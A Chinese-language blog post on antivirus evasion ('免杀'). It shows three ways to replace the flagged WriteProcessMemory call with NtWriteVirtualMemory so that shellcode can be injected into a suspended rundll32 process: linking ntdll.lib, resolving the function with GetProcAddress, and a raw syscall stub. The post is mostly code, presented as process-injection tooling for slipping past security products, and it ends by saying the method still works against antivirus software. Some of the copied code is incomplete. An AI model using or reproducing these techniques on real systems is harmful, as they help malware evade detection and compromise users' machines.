绕过Hook通过内核 API 免杀插图

起因是我的 WriteProcessMemory API 被某 AV 静态查杀。刚好以此 API 为例给出三种替换 R3 API 为对应内核 API 进行免杀的方式。

代码都是从我自己的项目中复制的一些,所以有无关代码,看重点就好。

方法1:ntdll.lib

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <conio.h>
#include <iostream>
#include <tlhelp32.h>
#include <typeinfo>
#include "corecrt_wstring.h"
using namespace std;
#pragma comment(lib, "ntdll.lib")
extern "C" __declspec(dllimport) NTSTATUS NTAPI NtWriteVirtualMemory(
    IN HANDLE               ProcessHandle,
    IN PVOID                BaseAddress,
    IN PVOID                Buffer,
    IN ULONG                NumberOfBytesToWrite,
    OUT PULONG              NumberOfBytesWritten);

void _tmain(int argc, _TCHAR* argv[])
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    BOOL process_result = 0;
    BOOL memory_result = 0;
    BOOL context_result = 0;
    BOOL eip_result = 0;
    DWORD resume_result = 0;
    LPVOID rwxpage;
    CONTEXT threadContext;
    int length;
    unsigned char buf[] = "\xcc\xcc\xcc\xc3";
    length = sizeof(buf) / sizeof(buf[0]);
    wchar_t CommandLine[MAX_PATH] = { 0 };
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // 判断机器是 32 还是 64 位,以此确定 32-bit 程序 notepad.exe 的路径
    const int nBitSys = GetSystemBits();
    if (nBitSys == 32)
    {
        wcscpy_s(CommandLine, L"C:\\Windows\\System32\\rundll32.exe");
    }
    if (nBitSys == 64)
    {
        wcscpy_s(CommandLine, L"C:\\Windows\\SysWOW64\\rundll32.exe");
    }

    // 调用 CreateProcess 以挂起的方式(CREATE_SUSPENDED)创建进程
    process_result = CreateProcessW(NULL, CommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    if (!process_result)
    {
        _tprintf(_T("CreateProcess failed (%d).\n"), GetLastError());
        return;
    }

    // 调用 VirtualAllocEx 函数申请一个可读、可写、可执行的内容
    if (pi.hProcess != NULL)
    {
        rwxpage = VirtualAllocEx(pi.hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        printf("rwxpage = %p", rwxpage);

        // 调用 NtWriteVirtualMemory 将 Shellcode 数据写入刚申请的内存中
        if (rwxpage != 0) {
            memory_result = NtWriteVirtualMemory(
                pi.hProcess,
                rwxpage,
                buf,
                length,
                NULL);
        }
    }

    return;
}

效果:

title

技巧:

文档化的 Nt/Zw 函数可通过 include <winternl.h> 直接获取函数签名。
我上面的代码是未文档化 API 的写法。

方法2:LoadLibrary → GetProcAddress

#include <Windows.h>
#include <iostream>
#include <wincrypt.h>
#include <string>
#include <tchar.h>
#include<vector>
#include <stdio.h>
#include <wchar.h>
#include <conio.h>
#include <tlhelp32.h>
#include <typeinfo>
#include "corecrt_wstring.h"
#pragma comment(lib, "crypt32.lib")
using namespace std;

void _tmain(int argc, _TCHAR* argv[])
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    BOOL process_result = 0;
    BOOL memory_result = 0;
    BOOL context_result = 0;
    BOOL eip_result = 0;
    DWORD resume_result = 0;
    LPVOID rwxpage;
    CONTEXT threadContext;
    int length;
    unsigned char buf[] = "\xcc\xcc\xcc\xc3";
    length = sizeof(buf) / sizeof(buf[0]);
    wchar_t CommandLine[MAX_PATH] = { 0 };
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // 调用 CreateProcess 以挂起的方式(CREATE_SUSPENDED)创建进程
    process_result = CreateProcessW(NULL, CommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    if (!process_result)
    {
        _tprintf(_T("CreateProcess failed (%d).\n"), GetLastError());
        return;
    }

    // 调用 VirtualAllocEx 函数申请一个可读、可写、可执行的内容
    if (pi.hProcess != NULL)
    {
        rwxpage= VirtualAllocEx(pi.hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        printf("rwxpage = %p", rwxpage);

        // 调用 NtWriteVirtualMemory 将 Shellcode 数据写入刚申请的内存中
        if (rwxpage != 0) {
            typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
                HANDLE ProcessHandle,
                PVOID  BaseAddress,
                PVOID  Buffer,
                ULONG  NumberOfBytesToWrite,
                PULONG NumberOfBytesWritten
                );
            typedef ULONG(WINAPI* _RtlNtStatusToDosError)(
                NTSTATUS Status
                );
            
            // 获取 ntdll.dll 模块句柄
            HMODULE hmNtdll = GetModuleHandle(L"ntdll.dll");
            if (hmNtdll != 0)
            {
                // 获取 NtWriteVirtualMemory 和 RtlNtStatusToDosError 函数地址
                _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hmNtdll, "NtWriteVirtualMemory");
                _RtlNtStatusToDosError RtlNtStatusToDosError = (_RtlNtStatusToDosError)GetProcAddress(hmNtdll, "RtlNtStatusToDosError");

                if (!NtWriteVirtualMemory || !RtlNtStatusToDosError)
                {
                    return;
                }

                // 调用 NtWriteVirtualMemory 函数将 Shellcode 写入内存
                NTSTATUS status = NtWriteVirtualMemory(pi.hProcess, rwxpage, buf, length, NULL);
                if (!NT_SUCCESS(status))
                {
                    SetLastError(RtlNtStatusToDosError(status));
                    _tprintf(_T("NtWriteVirtualMemory failed (%d).\n"), GetLastError());
                    return;
                }
            }
        }
    }

    return;
}

方法3:syscall

title
;.asm
.code
NtWriteVirtualMemory proc
    mov     r10, rcx       
    mov     eax, 3Ah 
    syscall
    ret
NtWriteVirtualMemory endp

优点

可绕过 inline hook

小结

该方法对杀软仍然有效,可选择此方法绕过查杀